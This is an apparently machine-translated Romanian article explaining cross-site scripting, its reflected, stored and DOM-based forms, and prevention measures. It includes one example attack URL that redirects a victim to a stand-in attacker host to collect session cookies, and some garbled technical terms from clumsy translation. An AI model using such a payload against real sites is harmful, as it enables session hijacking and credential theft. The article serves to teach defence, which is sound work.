Modul în care hackerii folosesc Cross Site Scripting pentru a sparge site-uri web și a fura date

Script-ul cross-site sau XSS poate fi un atac puternic și rapid. În calitate de dezvoltator, s-ar putea chiar să îl luați ca o eroare în codul dvs. și să ajungeți să căutați erori care nu există.

În calitate de client care utilizează site-ul vulnerabil, puteți, de asemenea, să divulgați inocent informații vitale despre accesul dvs. de autentificare la atacator.

Deci, ce este scriptul între site-uri? Cum îl pot folosi hackerii pentru a intra într-un site web și a vă fura datele? Și cum puteți atenua un astfel de risc?

Ce este scriptul între site-uri?

Scripturile inter-site sau XSS se întâmplă dacă scriptul de pe un site web rău intenționat interacționează cu codul pe unul vulnerabil.

Dar serverele sunt conectate într-un mod care împiedică persoanele fără autentificare să acceseze și să editeze codul sursă al site-ului dvs. web.

Internetul utilizează aceeași politică de origine (SOP) pentru a bloca interacțiunile între site-uri. Cu toate acestea, SOP verifică trei lacune majore de securitate și încearcă să le atenueze. Sunt:

• Politica de protocol Internet care verifică dacă ambele site-uri web furnizează conținut pe SSL securizat (HTTPS) sau pe un URL nesigur (HTTP).
• Aceeași politică de găzduire web, care vă asigură că găzduiți ambele site-uri web pe același domeniu.
• Politica de port care verifică dacă ambele site-uri web utilizează puncte finale de comunicare similare.

SOP susține că, dacă oricare dintre aceste politici este diferită pentru oricare două site-uri web, nu pot citi sau schimba date pe web.

Dar JavaScript este un limbaj manipulator care determină capacitatea de reacție a unui site web. Deși JavaScript-ul site-ului dvs. web este cel mai probabil într-un fișier separat, puteți crea, de asemenea, o etichetă de script și să o scrieți în modelul dvs. de obiect document (DOM).

Deci, un atacator XSS s-ar putea gândi: „dacă puteți scrie JavaScript într-un DOM, în cele din urmă îl puteți executa în orice editor de cod sau câmp de introducere care acceptă etichete HTML. "

O astfel de vulnerabilitate și șansă este ceea ce un atacator care folosește XSS caută pe un site web țintă. Odată ce găsesc o astfel de lacună, pot ocoli SOP.

Legate de: Foaia de trucuri JavaScript finală

Prin urmare, XSS este un atac pe care hijackerii îl folosesc pentru a injecta un script care efectuează acțiuni rău intenționate într-un site vulnerabil. Scriptul poate viza formulare neprotejate sau câmpuri de intrare care acceptă date.

Cum funcționează și tipurile de scripturi între site-uri, cu exemple

XSS poate fi o execuție rapidă a unui script reflectat sau temporar pe care un atacator îl plasează în forme precum câmpurile de căutare. Poate fi, de asemenea, una copleșitoare sau persistentă injectată în baza de date. Sau ar putea veni pasiv după încărcarea unei pagini.

În unele cazuri, acest script poate modifica, de asemenea, contribuția inițială a victimei pentru a-și abate intenția. O modificare persistentă a intrărilor unui utilizator ca aceasta este un XSS mutant.

În orice formă ar fi, obiectivul unui atac XSS este de a fura datele unei victime prin cookie-uri și jurnale expuse.

Să vedem o scurtă explicație a fiecăruia dintre aceste tipuri de atac XSS și exemplele lor pentru a înțelege ce sunt.

Ce este un XSS reflectat?

Un XSS reflectat sau temporar este o injecție directă de JavaScript în câmpul de intrare al unui utilizator. Acesta vizează solicitările care obțin date din baza de date, cum ar fi rezultatele căutării. Dar este un atac cu un singur client.

În timpul unui XSS reflectat, un atacator introduce un script în termenul de căutare al unei victime țintă. Un astfel de JavaScript ar putea fi un ecou, ​​o redirecționare sau un colector de cookie-uri.

Scriptul injectat în câmpul de introducere a căutării este apoi executat imediat ce un client țintă își trimite interogarea.

De exemplu, în timpul căutării unui utilizator, un atacator ar putea introduce un cod JavaScript care ecouă un formular, solicitând victimei să introducă parola sau numele de utilizator. Odată ce utilizatorul face acest lucru, s-ar putea să-și trimită acreditările fără să știe un atacator, considerând că este o cerere de pe site-ul original.

Uneori, atacatorul poate folosi și un script pentru a redirecționa un utilizator din pagina vulnerabilă către pagina sa. Acolo, pe pagina atacatorului, un utilizator nebănuit poate fi apoi înșelat în trimiterea câtorva formulare, ducând la scurgeri de acreditări.

În mod similar, dacă scopul este să fure sesiunea unui utilizator, atacatorul injectează un script de colectare a cookie-urilor în termenul de căutare al utilizatorului. Apoi, deturnează sesiunea curentă a utilizatorului, fură informații relevante și preiau activitățile victimei.

Exemplul de atac XSS de mai jos fură cookie-ul unui utilizator printr-o solicitare GET:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

În exemplul XSS de mai sus, atacatorul găsește o lacună pe site-ul vulnerabil. Deci, atunci când un utilizator caută o resursă indisponibilă pe site-ul vulnerabil, acesta îl redirecționează către pagina atacatorului. Atacatorul atinge apoi cookie-ul utilizatorului curent și apucă sesiunea.

Cu toate acestea, această vulnerabilitate este obișnuită atunci când acțiunea de interogare a unui site nu este filtrată pentru a verifica injecțiile de script prin HTML.

Dar chiar dacă există o interogare filtrată, un atacator poate ocoli acest lucru recurgând la măsuri disperate, cum ar fi trimiterea de linkuri către posibili utilizatori în timp real ai unui site web. Ei pot face acest lucru folosind orice formă de inginerie socială la dispoziția lor.

Legate de: Ce trebuie să faceți după căderea unui atac de phishing

Odată ce victimele dau clic pe un astfel de link, hijacker-ul poate acum să execute cu succes atacul XSS și să fure datele relevante de la victimă.

Scriptul persistent sau stocat pe mai multe site-uri

XSS stocat prezintă mai multe amenințări. În acest caz, un atacator stochează scriptul în baza de date a unui site web, declanșând o execuție persistentă a scriptului stocat. Codul stocat poate rula la încărcarea paginii sau după încărcarea paginii.

Spre deosebire de forma temporară de XSS, un XSS stocat vizează întreaga bază de utilizatori a site-ului vulnerabil. În plus, vizează și integritatea site-ului web afectat.

În timpul unui XSS persistent, un atacator folosește câmpuri de intrare, cum ar fi formulare de comentarii, pentru a posta scriptul în baza de date a unui site web.

Dar dacă protejați câmpurile POST cu jetoane CSRF? Din păcate, scripturile cross-site stocate ocolesc verificările CSRF.

Asta pentru că atacatorul trimite un formular ca orice alt utilizator al site-ului. Deci, un astfel de formular de comentarii trimite scriptul la baza de date, la fel ca și celelalte comentarii.

Un astfel de atac se poate întâmpla atunci când câmpurile de intrare de pe un site web nu folosesc produse de dezinfectare adecvate pentru a scăpa de scripturi și etichete HTML.

Imaginați-vă un utilizator care postează scriptul de mai jos folosind un formular de comentarii web:

Atunci când un atacator introduce un cod ca acesta în baza de date a unui site web, acesta redirecționează în continuare o victimă către site-ul atacatorului la încărcarea paginii. Scriptul poate fi, de asemenea, o alertă, o casetă modală interactivă sau un anunț rău intenționat încorporat.

Deoarece scriptul redirecționează la încărcarea paginii, o victimă care nu este familiarizată cu site-ul vulnerabil ar putea să nu observe redirecționarea.

Apoi continuă interacționând cu site-ul atacatorului. Cu toate acestea, hijacker-ul poate folosi mai multe mijloace pentru a obține informații de la victime odată ce acestea sunt pe pagina lor web.

Ce este un DOM sau XSS pasiv?

Un XSS bazat pe DOM execută un cod rău intenționat încorporat în site, forțând întregul DOM din partea clientului să se comporte neobișnuit.

În timp ce XSS stocat și reflectat vizează cererile de pe server pe un site web, un XSS DOM vizează activitățile de rulare. Funcționează prin inserarea unui script în componenta unui site web care îndeplinește o sarcină specifică. Această componentă nu execută o acțiune pe partea de server.

Cu toate acestea, scriptul inserat într-o astfel de componentă își modifică complet intenția. Dacă această componentă efectuează o activitate legată de DOM, cum ar fi cele care modifică elementele unui site web, scriptul ar putea forța întreaga pagină web să se schimbe.

În cazuri mai grave, un XSS bazat pe DOM poate imita o eroare. Acest lucru se datorează faptului că pagina web devine neobișnuit de reactivă.

Cum să preveniți atacul de scripturi între site-uri

O vulnerabilitate XSS provine din utilizarea necorespunzătoare a celor mai bune practici de backend. Așadar, prevenirea unui atac de tip cross-site scripting este de obicei responsabilitatea dezvoltatorului. Dar și utilizatorii au un rol de jucat.

Utilizarea unui simbol CSFR pentru câmpurile de intrare nu pare o soluție la atacurile XSS. Și din moment ce acest atac ocolește, de asemenea, politica privind aceeași origine, dezvoltatorii trebuie să fie atenți să nu omită practicile de securitate care împiedică XSS.

Următoarele măsuri preventive sunt utile pentru dezvoltatori.

Igienizați câmpurile de intrare

Pentru a preveni atât XSS stocat, cât și temporar, ar trebui să utilizați produse igienice eficiente pentru câmpurile de intrare. Igienizarea interogărilor de căutare, de exemplu, împiedică injectarea de etichete în termenii de căutare ai utilizatorilor.

Utilizați Unicode și HTML Auto Escape

Este util să utilizați HTML și Unicode auto escape pentru a împiedica câmpurile de intrare, cum ar fi comentariile și formularele de conversie, să accepte scripturi și etichete HTML. Auto escape este o măsură preventivă puternică împotriva XSS stocat sau persistent.

A permite utilizatorilor să introducă etichete în formularele de comentarii este o idee proastă pentru orice site web. Este o încălcare a securității. Cu toate acestea, dacă trebuie să permiteți acest lucru, ar trebui să acceptați numai etichete care nu prezintă amenințări XSS.

Utilizați validarea corespunzătoare a intrărilor

Chiar dacă blocați complet etichetele, un atacator poate efectua un atac XSS prin mijloace sociale. Aceștia pot trimite e-mailuri în loc să plaseze ceva direct pe site-ul vulnerabil.

Deci, o altă metodă de prevenire este de a valida intrările în mod eficient. Astfel de măsuri includ validarea protocoalelor și asigurarea faptului că site-ul dvs. web acceptă doar intrări de la HTTPS securizat și nu HTTP.

Utilizarea de biblioteci JavaScript dedicate precum dompurify poate ajuta, de asemenea, la blocarea încălcărilor de securitate legate de XSS.

Puteți utiliza instrumente precum Scanner XSS sau GEEKFLARE pentru a verifica vulnerabilitățile XSS pe site-ul dvs.

Modul în care utilizatorii pot preveni XSS

Există milioane de site-uri web pe internet astăzi. Deci, cu greu vă puteți da seama care dintre ele are probleme de securitate XSS.

Cu toate acestea, ca utilizator, trebuie să vă asigurați că sunteți familiarizați cu orice serviciu web înainte de al utiliza. Dacă o pagină web devine brusc înfiorătoare sau începe să se comporte neobișnuit, aceasta poate fi un steag roșu.

Oricare ar fi cazul, aveți grijă să nu dezvăluiți date personale cu un terț care nu are încredere. Apoi, căutați e-mailuri nesolicitate sau postări suspecte de pe rețelele sociale care pot duce la oricare formă de atacuri de phishing.

Nici o metodă preventivă unică nu se potrivește tuturor

Am văzut cum arată un atac XSS și cum să îl prevenim. Este ușor să uitați verificările de securitate XSS în timpul dezvoltării. Deci, dezvoltatorii ar trebui să ia măsuri pentru a se asigura că protecția nu este omisă. Cu toate acestea, o combinație a măsurilor preventive enumerate anterior funcționează mai bine.

Ce sunt atacurile CSRF și cum le puteți preveni?

Pentru a vă împiedica să pierdeți numerar și acreditări în atacurile CSRF, atât dezvoltatorii, cât și utilizatorii au un rol de jucat.

Despre autor